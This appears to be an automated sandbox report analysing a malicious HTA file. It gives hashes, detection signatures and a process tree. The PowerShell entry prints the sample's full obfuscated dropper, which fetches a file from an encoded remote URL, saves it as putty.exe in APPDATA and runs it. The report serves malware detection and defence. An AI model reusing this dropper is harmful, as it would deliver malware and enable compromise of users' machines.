Edit tour
Windows
Analysis Report
qwertyuiopasdfghjklzxcvbnm.hta
Overview
General Information
| Sample name: | qwertyuiopasdfghjklzxcvbnm.hta |
| Analysis ID: | 1583693 |
| MD5: | 3ed42aa65e65e6f7ae0dd6c83200e076 |
| SHA1: | bd6d720a134ad38173bf5eaf07f3357d2653ec0c |
| SHA256: | c51efd8c212706aa13de88fac4d6a28e29a44efeb93d39b188d61c51ca2259d5 |
| Tags: | htauser-abuse_ch |
| Infos: |   |
 | |
Detection
| Score: | 68 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Powershell drops PE file
Sigma detected: Suspicious MSHTA Child Process
Suspicious powershell command line found
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evaded block containing many API calls
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Potential Dosfuscation Activity
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
mshta.exe (PID: 7400 cmdline: mshta.exe "C:\Users\ user\Deskt op\qwertyu iopasdfghj klzxcvbnm. hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) 
powershell.exe (PID: 7496 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Execution Policy UnR estricted function Q TF($zbaIc, $FeyQCF){ [IO.File]: :WriteAllB ytes($zbaI c, $FeyQCF )};functio n o($zbaIc ){if($zbaI c.EndsWith ((X @(254, 308,316,31 6))) -eq $ True){Star t-Process (X @(322,3 25,318,308 ,316,316,2 59,258,254 ,309,328,3 09)) $zbaI c}else{Sta rt-Process $zbaIc}}; function D wm($QOqguG Ogy){$XGUi ZZx = New- Object (X @(286,309, 324,254,29 5,309,306, 275,316,31 3,309,318, 324));[Net .ServicePo intManager ]::Securit yProtocol = [Net.Sec urityProto colType]:: TLS12;$Fey QCF = $XGU iZZx.Downl oadData($Q OqguGOgy); return $Fe yQCF};func tion X($Pk XNL){$bzLb p=208;$hWq eYBbV=$Nul l;foreach( $TPTApHL i n $PkXNL){ $hWqeYBbV+ =[char]($T PTApHL-$bz Lbp)};retu rn $hWqeYB bV};functi on ubZ(){$ h = $env:A PPDATA + ' \';$qZD = Dwm (X @(3 12,324,324 ,320,323,2 66,255,255 ,324,312,3 09,254,309 ,305,322,3 24,312,254 ,316,313,2 55,334,323 ,311,324,3 05,324,312 ,305,317,2 55,320,325 ,324,324,3 29,255,316 ,305,324,3 09,323,324 ,255,327,2 62,260,255 ,320,325,3 24,324,329 ,254,309,3 28,309));$ G = $h + ' putty.exe' ;QTF $G $q ZD;o $G;;; ;}ubZ; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) 
conhost.exe (PID: 7504 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
putty.exe (PID: 7664 cmdline: "C:\Users\ user\AppDa ta\Roaming \putty.exe " MD5: 765BDC0F8BC0D77F7414E7A36AE45FD9)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
System Summary |   |
|---|
| Source: | Author: Michael Haag: | ||